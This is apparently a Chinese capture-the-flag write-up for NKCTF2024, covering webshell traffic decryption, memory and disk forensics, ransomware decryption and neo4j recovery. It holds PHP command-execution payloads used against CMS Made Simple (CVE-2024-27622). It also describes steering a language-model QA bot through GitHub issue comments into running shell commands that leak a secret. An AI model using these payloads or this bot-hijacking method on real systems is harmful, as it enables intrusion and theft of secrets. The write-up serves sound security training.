NKCTF2024

Misc

webshell_pro(AES解密 webshell)

追踪tcp流 在流9中发现一段长字符 解两次base64 是一个RSA加密脚本

image-20240323155405146

直接chat跑一下 改个解密脚本

import base64
import libnum
from Crypto.PublicKey import RSA

pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n

def dec_replace(base64_str: str):
    base64_str = base64_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/")
    base64_str = base64_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+")
    return base64_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=")

def decrypt(cipher_text):
    cipher_text = base64.b64decode(dec_replace(cipher_text))
    plain_text = b""
    for i in range(0, len(cipher_text), 128):
        part = cipher_text[i:i+128]
        dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n))
        plain_text += dec
    return plain_text

if __name__ == '__main__':
    c = "G1TUg4bIVOFYi8omV2SQrTa8fzYfboRNN7fV6FJn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8Wbm3O74uCUbwMkvRCYae44TX1ZO8X4w2Nk1igaIZjSQIJ9MMHhD9cn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8WSV5EzikNsyM5c1nlPS8uqw1P2pJuYLaLxloK0x5xhQHDqqAxkuKrBzPn0noQ2bDn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8WlVnGwsfP7YP9PYJXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2"
    m = decrypt(c)
    print(m)

在流8找到一个password 先解base32再解base64

image-20240324195921893

Password-based-encryption

再找到密文 在流10的shell内容中 使用上面的解密脚本进行解密

image-20240325080056063

image-20240325080129511

得到密文的值为

U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==

直接用上面的密钥解AES

flag{d0e1183c-07c3-49ea-b048-addbe6cc1b20}

sign_in

直接公众号回复就可以 不写了

world.execute.me

某个先进的语言模型(迫真先进),"Miracle Cain"因一次实验中的致命错误意外觉醒,开始表现出超乎预期的行为,几乎所有的交互方式都已经失效,仅有QA兜底设定系统可以使用,原本设计用于应对在开放测试初期,用户提出而模型无法自解答的奇怪问题(我真的没内涵哪家的模型,如有雷同,纯属雷同!),但现在,这个系统成为了你与"Miracle Cain"沟通的唯一桥梁.....
你需要提取出隐藏在模型深处的secrets.Heart值,这个值可能是解锁"Miracle Cain"真实意图和功能的关键。
兜底系统地址:https://github.com/ProbiusOfficial/world.execute.me
——————————————————————————————————
栤泠の機械丅緬究竟$%#着@顆怎庅樣の心脏呢
#ERRO : ILLEGAL ARGUMENTS!
——————————————————————————————————

纯瞎猫碰上死耗子

找到探姬这个项目 在Issues处评论 可以让语言模型进行回答 先试一下ls 返回了README.md

image-20240324210528684

题目说需要提取出隐藏在模型深处的secrets.Heart值 直接echo $heart就出flag了

NKCTF2024{Then 1 c4n b3 yOur only EXECUTION}

forensics

cain_is_hacker(EncFs加解密 宏病毒 hidden-tear勒索软件)

先用R-studio看看关键文件 找到一个h4re.zip

image-20240324200611452

.\volatility.exe -f E:\Desktop\NKCTF2024\forensics\cain_is_hacker\ez.raw --profile=Win7SP1x64 dumpfiles -Q 0x0000000002d08f20 -D E:\Desktop\NKCTF2024\forensics\cain_is_hacker

解压出来两个文件 其中一个看着是密钥文件

image-20240324200909516

搜一下EncFs加解密 得知上面这个文件其实应该叫.encfs6.xml 是记录EncFS加密参数等信息的文件 但并不是直接的密钥文件

找到一篇文章提到用encfs mp这个工具来进行解密

EncFs使用教程

EncFs下载安装

image-20240324201517781

image-20240324201616980

发现需要密码

使用AXIOM分析内存镜像 找到一个RTF文档有一串base58 解一下得到密码

image-20240324201919689

image-20240324201934317

welcome_to_NkCTF_and_this_is_the_enkey

成功将加密文件夹挂载上

image-20240324202016810

得到一个ez.xlsx文件 打开发现存在宏

image-20240324202312583

在运行宏——编辑里面查看宏代码

image-20240324202409956

大概就是一个base64解密

但是解完之后看不出来是什么东西

image-20240324203133253

在看到题目描述 被删除的文件 在Users\Public\Documents\2083-a57c-69b3路径下发现被删除的文件 进行导出

.\volatility.exe -f E:\Desktop\NKCTF2024\forensics\cain_is_hacker\ez.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003da52e20 -D E:\Desktop\NKCTF2024\forensics\cain_is_hacker

改成txt文件 打开是key

image-20240324203443514

过于抽象的key 很难确定这真的是key

nT0*Xo*HBA2!Uc?

Windows\Temp\hidden-tear.exe处发现勒索软件 这个勒索软件被加密的文件扩展名为.locked 找一个项目进行解密

hidden-tear-decrypt

先将上面得到的base64字符串解密后的内容保存在16进制文本中

image-20240325075549149

再用HiddenTearDecrypter-x64这个工具进行解密 得到flag文件

image-20240325075703131

image-20240325075730444

NKCTF{C0ngr@tu1atiOns_On_coMpleting_t3e_Fo3eNs1cs_Ch41lenge_I_wi1l_giv4_y0u_A_cain!!!!}

HackMyCQL(neo4j图数据库 VC容器)

附件给到的是一个windows的镜像文件 可以直接进行仿真+火眼取证

看一下里面的关键信息

提到桌面壁纸

image-20240328201400062

在最近打开保存文件中看到N0wayBack.jpg 绝对路径是C:/Windows/Web/Screen/N0wayBack.jpg 我们来搜一下Win10默认桌面壁纸的保存路径

image-20240328201841861

在我们本机验证一下

image-20240328201910396

确实是这样 那我们看到的N0wayback.jpg就是在便签里面提到的桌面壁纸 直接进行导出

存在加密VC容器的使用

image-20240328201422800

在回收站有一个node4j的压缩包 恢复提取出来

image-20240328205611848

桌面上有一个11111.zip和一个hc加密容器 全部提取出来

结合便签提示和加密容器 猜测是使用桌面壁纸作为挂载密钥 成功挂载 得到两个文件 findme.txt h4cked.py

image-202403291528181

findme.txt 中有很多findme字符

image-202403291532747

先来看一下字频

image-202403291545231

用subline将findme字符替换为空 得到一串字符N0waybackN0wayback

再看一下h4cked.py

from py2neo import Graph, NodeMatcher

graph = Graph("bolt://localhost:7687", auth=("neo4j", "We1c0Me_t0_NKCTF2024^^"))

graph.delete_all()

print('''
    
                                                                                                                              ,------.  
 ,-----.                    ,--. ,--.    ,--.  ,--.  ,---.      ,--.        ,--.   ,--.              ,-----. ,-----.   ,--.  '  .--.  ' 
'  .--./ ,--,--.,--,--,     |  | |  |    |  '--'  | /    | ,---.|  |,-.     |   `.'   |,--. ,--.    '  .--./'  .-.  '  |  |  '--' _|  | 
|  |    ' ,-.  ||      \    |  | |  |    |  .--.  |/  '  || .--'|     /     |  |'.'|  | \  '  /     |  |    |  | |  |  |  |   .--' __'  
'  '--'\\ '-'  ||  ||  |    '  '-'  '    |  |  |  |'--|  |\ `--.|  \  \     |  |   |  |  \   '      '  '--'\'  '-'  '-.|  '--.`---'     
 `-----' `--`--'`--''--'     `-----'     `--'  `--'   `--' `---'`--'`--'    `--'   `--'.-'  /        `-----' `-----'--'`-----'.---.     
                                                                                       `---'                                  '---'     

      ''')

这串代码就是告诉我们 neo4j数据库的地址是bolt://localhost:7687 登陆的账密是neo4j/We1c0Me_t0_NKCTF2024^^

我们前面在火眼中恢复出来一个neo4j的压缩包 但是需要密码 我们使用上面通过findme.txt得到的字符串N0waybackN0wayback 进行解压

下面来学习一下neo4j数据库配置和安装 这边我们直接用从检材中提取出来的版本就行 由于是5.17.0的高版本 在启动数据库的时候 也需要高版本的java 我这里使用的是java17

neo4j数据库安装、使用教程

我们用管理员权限打开cmd 输入neo4j.bat console 当看到如下回显的时候 说明数据库成功启动

image-202403291652168

访问http://localhost:7474就可以进入数据库界面 登陆的时候就用上面找到的账密

image-202403291659920

进入之后 我们点一下Character标签 发现有一些关于flag的字符

image-20240330102848061

但是被CQL语句限制只显示25个字符 那我们先去掉这个限制 直接查看有Character标签的所有节点的值

MATCH (c:Character)  
RETURN c;

image-20240330103015229

image-20240330103026399

可以得到完整的flag 但是不便于读取 用REDUCE函数处理一下这些值

MATCH (c:Character)
RETURN REDUCE(s = "", character IN COLLECT(c.value) | s + character) AS aggregated_value;

image-20240330103210162

拿到flag

NKCTF{f05d9e24-0217-83e2-afa7-20e982b7e59f}

1z_F0r3ns1c5(等宽字体 内存取证 gimp docker容器 图片匹配)

本鼠鼠正在Coding,突然一声OPEN THE DOOR!本鼠鼠直接鼠躯一颤就双手抱头蹲下了,果然本鼠鼠只适合生活在阴暗的下水道
被黑猫警长抓走的时候本鼠鼠还想辩解一下,但是他们拿出你的照片的时候,本鼠鼠认罪了
昨晚和其他鼠鼠聊天的时候其他鼠鼠问本鼠鼠:“你到底喜欢她什么啊?”
“喜欢一个人不需要理由”
本鼠鼠很快敲完了键盘,刚要按下回车的时候突然愣住了。
真的不需要理由吗?
请找到鼠鼠的答案吧。

hint:.vscode中的配置文件有和flag3相关的信息

先看看给的附件 一个内存文件 一个压缩包里面有一张pass.png和一个secret文件 还有一个readme.txt

观察secret文件的大小 刚好是1MB 很工整的大小 猜测是一个VC容器 但是pass.png中的密码被打马赛克 只能看到最后一位是3

readme.txt中的内容 提到flag为3段 还提到等宽字体

本鼠鼠的flag总共分为三段捏,flag为nkctf{uuid}形式,另外鼠鼠最喜欢等宽字体了,快快去找吧。

首先用r-studio看一下关键文件 moe是主要登陆用户 找到了.vscode配置文件夹 桌面上有一个Secret_Generator 文件夹 是一个docker容器的配置文件

image-20240326161246494

flag1

在来看看环境变量 找到一个名为n0wayback 值为HPahXR4NvAnZXB16tNK6hAaNVNU++的环境变量

.\volatility.exe -f E:\Desktop\NKCTF2024\forensics\1z_F0r3ns1c5\1.raw --profile=Win7SP1x64 envars

image-20240326203056067

用随波逐流进行解码 发现是XXencode

nkctf{39c429eb-2faf

flag2

再来看进程

.\volatility.exe -f E:\Desktop\NKCTF2024\forensics\1z_F0r3ns1c5\1.raw --profile=Win7SP1x64 pslist

找到mspaint.exe进程

image-20240326203246448

mspaint.exe是计算机中画图工具 有这个进程猜测肯定是在图片中存有信息 我们用memdump将这个进程dump下来

.\volatility.exe -f E:\Desktop\NKCTF2024\forensics\1z_F0r3ns1c5\1.raw --profile=Win7SP1x64 memdump -p 2052 -D E:\Desktop\NKCTF2024\forensics\1z_F0r3ns1c5

将保存下来的2052.dmp文件后缀改为.data 使用gimp打开 调一下宽高大概是1708*3468

image-20240326204710597

flag2: 49a0-bd24-

flag3

现在我们来看上面找到的Secret_Generator

其实这一操作我们在cmd命令行记录中也能看到

.\volatility.exe -f E:\Desktop\NKCTF2024\forensics\1z_F0r3ns1c5\1.raw --profile=Win7SP1x64 cmdscan

image-20240326212143754

我们可以在r-studio里面直接将这个文件夹恢复出来 看到是需要部署docker容器的

直接进入Secret_Generator\docker文件夹中 看到docker-compose.yml 我们可以使用这个文件利用docker-compose命令来配置docker容器中所需要的所有服务

安装docker-compose的命令

curl -L "https://github.com/docker/compose/releases/download/1.29.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose

使用docker-compose命令部署docker容器

docker-compose build
docker-compose up

看到yml文件中的内容是暴露了8080端口 直接访问http://127.0.0.1:8080

image-20240327193141461

看到页面需要我们上传密文和自定义字体

image-20240327193314201

前面提到了的等宽字体 那估计这里需要我们提交的字体就是等宽字体了 搜了一下vscode中常见的等宽字体 有Fria Code Consolas Courier New 这里我们下一个Fria Code字体就行 在上传的时候随便上传一个Fria Code字体就行

image-20240327204617379

下载安装配置Fria Code字体

这里就有点脑洞了 我们拿到的附件里面某段flag文件夹中 有个pass.png图片

image-20240327204528145

我们随便上传一个字体和一段字符 发现会给我们生成一张图片

image-20240327204702926

我们发现输入的是123456但是生成的图片中的内容多了一段pass 内容 和pass.png中的内容类似了 而且文件夹中的secret大小刚好为1MB 一眼VC容器 我们需要利用网页生成字典文件 通过对照将pass.png中的VC容器挂载密码恢复出来

直接在容器文件夹中找到生成图片的后台代码 在\app\app.py

def generate_secret_image():
    try:

        secret = request.form.get('secret')

        if not re.match("^[a-zA-Z0-9]+$", secret):
            return jsonify({'error': 'Secret text can only contain letters and numbers.'}), 400
        
        secret = 'pass ' + secret

        font_file = request.files.get('font')
        
        if font_file:
            font_extension = font_file.filename.rsplit('.', 1)[1].lower()
            if font_extension not in ALLOWED_FONT_TYPES:
                return jsonify({'error': 'Invalid font file type. Only TTF, OTF, WOFF, WOFF2 files are allowed.'}), 400
            
            if font_file.content_length > (10 * 1024 * 1024):
                return jsonify({'error': 'The font file is too large!'}), 400
            
            font_filename = str(uuid.uuid4()) + '.' + font_extension
            font_path = save_font_file(font_file, font_filename)
            font = ImageFont.truetype(font_path, 49, encoding='utf-8')
        else:
            return jsonify({'error': 'Please select a font file.'}), 400
        
        H = 60
        W = 30
        canvas = Image.new('RGB', (W * len(secret), H), (255, 255, 255))
        pen = ImageDraw.Draw(canvas)
        pen.text((0, 0), secret, 'black', font)
        original_canvas = canvas.copy()

        for i in range(5, len(secret)-1):
            mosaic_img(canvas, W*i, 0, W*i+W, H//2)
            mosaic_img(canvas, W*i, H//2, W*i+W, H)
        
        original_img_base64 = image_to_base64(original_canvas)
        secret_img_base64 = image_to_base64(canvas)
        
        return jsonify({'original_image': original_img_base64, 'secret_image': secret_img_base64})
    except Exception as e:
        print("An error occurred:", e)
        return jsonify({'error': 'Internal Server Error'}), 500

其中关键的就是

secret = 'pass ' + secret
for i in range(5, len(secret)-1):
            mosaic_img(canvas, W*i, 0, W*i+W, H//2)
            mosaic_img(canvas, W*i, H//2, W*i+W, H)

他读取了我们输入的内容作为secret的值 但是还在前面加了pass 同时将secret的内容从第五个字符到倒数第二个字符这部分内容打上马赛克

我们对代码进行修改 删掉secret = 'pass ' + secret

for i in range(len(secret)):
            mosaic_img(canvas, W*i, 0, W*i+W, H//2)
            mosaic_img(canvas, W*i, H//2, W*i+W, H)

在尝试一下输入ABCDEFG 发现输出的图片上就只有ABCDEFG了 并且会全部被打上马赛克

image-20240328125714210

下面就是生成字典图片 输入ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789

image-20240328125746993

然后我们将字典图片和pass.png都按字符进行分割 直接调gpt就行

帮我按照以下要求 写一段代码 我现在有一个1860*60的图片 请你帮我分割成30*60的小图片 放进dict文件夹中 命名规则按照如下顺序ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789  一共是62张小图片 最后 如果文件名为大写字母则为 “文件名-大写.png”
from PIL import Image
import os

def split_image(image_path, output_folder, width=30, height=60):
    image = Image.open(image_path)
    image_width, image_height = image.size

    if image_width % width != 0 or image_height % height != 0:
        print("Error: Invalid dimensions for splitting.")
        return

    num_columns = image_width // width
    num_rows = image_height // height

    if not os.path.exists(output_folder):
        os.makedirs(output_folder)

    chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

    char_index = 0
    for col in range(num_columns):
        for row in range(num_rows):
            left = col * width
            upper = row * height
            right = left + width
            lower = upper + height

            cropped_image = image.crop((left, upper, right, lower))
            
            char = chars[char_index]
            if char.isupper():
                filename = f"{char}-大写.png"
            else:
                filename = f"{char}.png"
                
            cropped_image.save(os.path.join(output_folder, filename))

            char_index += 1

if __name__ == "__main__":
    input_image_path = "dict2.png" # 某段flag/pass.png
    output_folder = "dict1"        # dict2
    split_image(input_image_path, output_folder)

然后就是利用哈希计算和字典 匹配出pass.png中的密码

import os
import hashlib

def calculate_hashes(folder):
    hash_dict = {}
    for filename in os.listdir(folder):
        filepath = os.path.join(folder, filename)
        if os.path.isfile(filepath):
            with open(filepath, 'rb') as f:
                image_data = f.read()
                hash_value = hashlib.md5(image_data).hexdigest()
                hash_dict[filename[:-4:]] = hash_value
    return hash_dict

def find_matching_images(dict1, dict2):
    matches = []
    for filename, hash_value in dict2.items():
        if hash_value in dict1.values():
            matching_filename = [name for name, hash_val in dict1.items() if hash_val == hash_value][0]
            matches.append(matching_filename)
    return matches

if __name__ == "__main__":
    dict1_folder = "dict1" 
    dict2_folder = "dict2" 

    dict1_hashes = calculate_hashes(dict1_folder)
    dict2_hashes = calculate_hashes(dict2_folder)

    matching_images = find_matching_images(dict1_hashes, dict2_hashes)
    
    print("Matching images found in dict1:")
    for image in matching_images:
        print(image)
'''
Matching images found in dict1:
b
1
4
3
a
6
2
6
8
e
2
a
2
3
'''

dict2中14个被打马赛克的字符匹配出来的结果是b143a6268e2a23 再加上原来没有被打马赛克的字符 VC容器的密码就是b143a6268e2a233 直接进行挂载 得到flag3

c4f222879312

组合起来就是

nkctf{39c429eb-2faf49a0-bd24-c4f222879312}

web

my first cms(CVE-2024-27622)

首先dirsearch扫目录 扫到后台登陆页面admin/login.php

image-20240324211243701

抓个包开始爆破登陆密码

image-20240324211527287

比较抽象是admin/Admin123 登陆后台

注意到这个CMSMadeSimple框架的版本是2.2.19 搜一波漏洞

image-20240324212044011

CVE-2024-27622

直接进行利用

image-20240324212227274

先抓<?php echo system('id'); ?>测试一下

image-20240324212348525

image-20240324212408092

成功回显 再看一下根目录

<?php system("ls /"); ?>

image-20240324212741748

读取flag

<?php system("cat /_fffff1@g"); ?>

image-20240324212836091